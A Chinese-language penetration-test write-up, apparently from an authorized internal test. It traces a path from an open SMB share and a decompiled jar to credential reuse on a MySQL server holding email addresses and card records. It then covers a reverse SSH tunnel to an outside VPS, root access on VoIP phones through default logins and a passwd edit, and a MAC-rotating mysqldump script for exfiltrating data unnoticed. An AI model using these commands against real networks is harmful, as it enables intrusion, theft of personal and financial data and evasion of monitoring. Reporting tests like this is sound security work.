这是几年前的一次内部渗透测试案例,通过几个小漏洞组合起来获得了大量敏感信息,起初在一个小的内网进行 nmap 扫描,没有发现什么特别有价值的信息,只发现一个 SMB 共享,如图:
看上去像是开发人员创建,用于计算机之间的文件共享,接下来使用 impacket 的 smbclient.py 访问该共享,获得了一些内容:
通过命令行窗口没看到啥特别有用的文件,尝试下载回本地,发现了一个 jar 文件:
看着像是自己写的程序,然后使用 java 的反编译软件 jd-gui,下载地址:
https://github.com/java-decompiler/jd-gui.git
将代码克隆回本地然后编译:
编译好之后启动:
启动之后出现一个界面,打开要反编译的 jar 文件即可:
在翻看了代码之后,找到了几个数据库的链接信息,如图:
在全部尝试之后发现,这些 IP 均无法访问,我想,这些账号密码可能存在通用的,所以开始对整个内网进行扫描,探测所有运行 mysql 服务的端口,然后使用收集到的账号密码进行登录尝试,最后发现 10.40.0.0/16 网段一台电脑的 3033 端口登录成功。
成功连接后发现,有五十多个与业务相关的数据表,包含的数据超过 700 G:
为了证明信息量,查询了下数据条数(超过 1600 万条电子邮件地址):
除了这些,还发现看超过 20 万条完整的信用卡记录,大约 700 G 的数据中,有 270 G 的熟剧是关键的,到这里,你以为就结束了?其实并没有,为了证明这些数据可以泄漏,需要想办法将这些数据转移至外部,在尝试传输时发现速度非常慢,如果一天内传输 270G 的数据,可能会触发一些流量审计设备的规则。
接下来我们尝试使用 ssh 建立隧道,通过外部访问内部被控制的主机, 这里先说一下如何建立 SSH 隧道,首先在被控主机上执行命令:
ssh -R 8080:127.0.0.1:22 -N -f user@remote.host
remote.host 是我们的远程 VPS(具有公网IP,可以远程访问),- N 参数表示不运行任何命令,只建立连接,-f 参数表示后台运行进程,整个命令的意思是远程 VPS 监听 8080 端口,把收到的所有数据均发送给内网被控主机的 22 端口,这样我们就可以通过外部访问内网被控主机的 SSH 端口,连接命令:
ssh -p 8080 compromiseduser@localhost
compromiseduser 是内网被控主机上的用户名,到这里我们就解决了通过公司网络访问内网主机的问题。
接下来我们决定找一个全天候都在启动、安全性差、可以访问网络的设备,物联网设备满足这几个条件,然后在内网开始扫描这类设备,发现了一百台物联网设备,主要是电视和 VOIP 电话,电视不会一直开着,电话都是 Yealink 的:
看看这类设备是否存在历史漏洞,使用 searchsploit 搜索相关漏洞发现几个:
经过分析, 23572 这个漏洞可以启动 telnet 并且存在默认账号密码,详情:
https://www.exploit-db.com/exploits/23572
使用默认账号密码 admin/admin 成功登录,但不是 root 权限:
在测试中发现,使用 guest/guest 账号可以编辑 passwd 文件,然后将 root 用户中的 x 去掉,即可在没有 root 密码的情况下登录:
关于 guest 用户为什么可以编辑 passwd 文件,不得而知,但确实是可以的。
有了 root 权限之后,需要在这个系统上部署一个 ssh 服务器,由于这个过程中遇到很多错误,没有做记录,如果再做的话我会选择 pentestkoala 来创建 ssh 服务:
https://github.com/mrschyte/pentestkoala
这个时候,我不想用一个 IP 下载所有的数据,这样容易被流量监控发现,测试发现使用 macchanger 更改 mac 后,手动释放 DHCP 会获得一个新的 IP,也就是说 DHCP 分配 IP 取决于 MAC 地址,所以编写一个脚本:
代码语言:javascript复制#!/bin/bash
for i in importantdb1 importantdb2 importantdb3 importantdb4; do
dhclient -r enp0s25
sleep 10
macchanger - random enp0s25
dhclient enp0s25
sleep 40
mysqldump - verbose -u root -prootspi949 -h 10.40.59.10 -P 3033 $i >> /tmp/compromisedDb/$i.sql
done
每下载一个数据表则更换一个 IP 地址,这样同一个 IP 所下载的数据就没有那么大了,目标达成。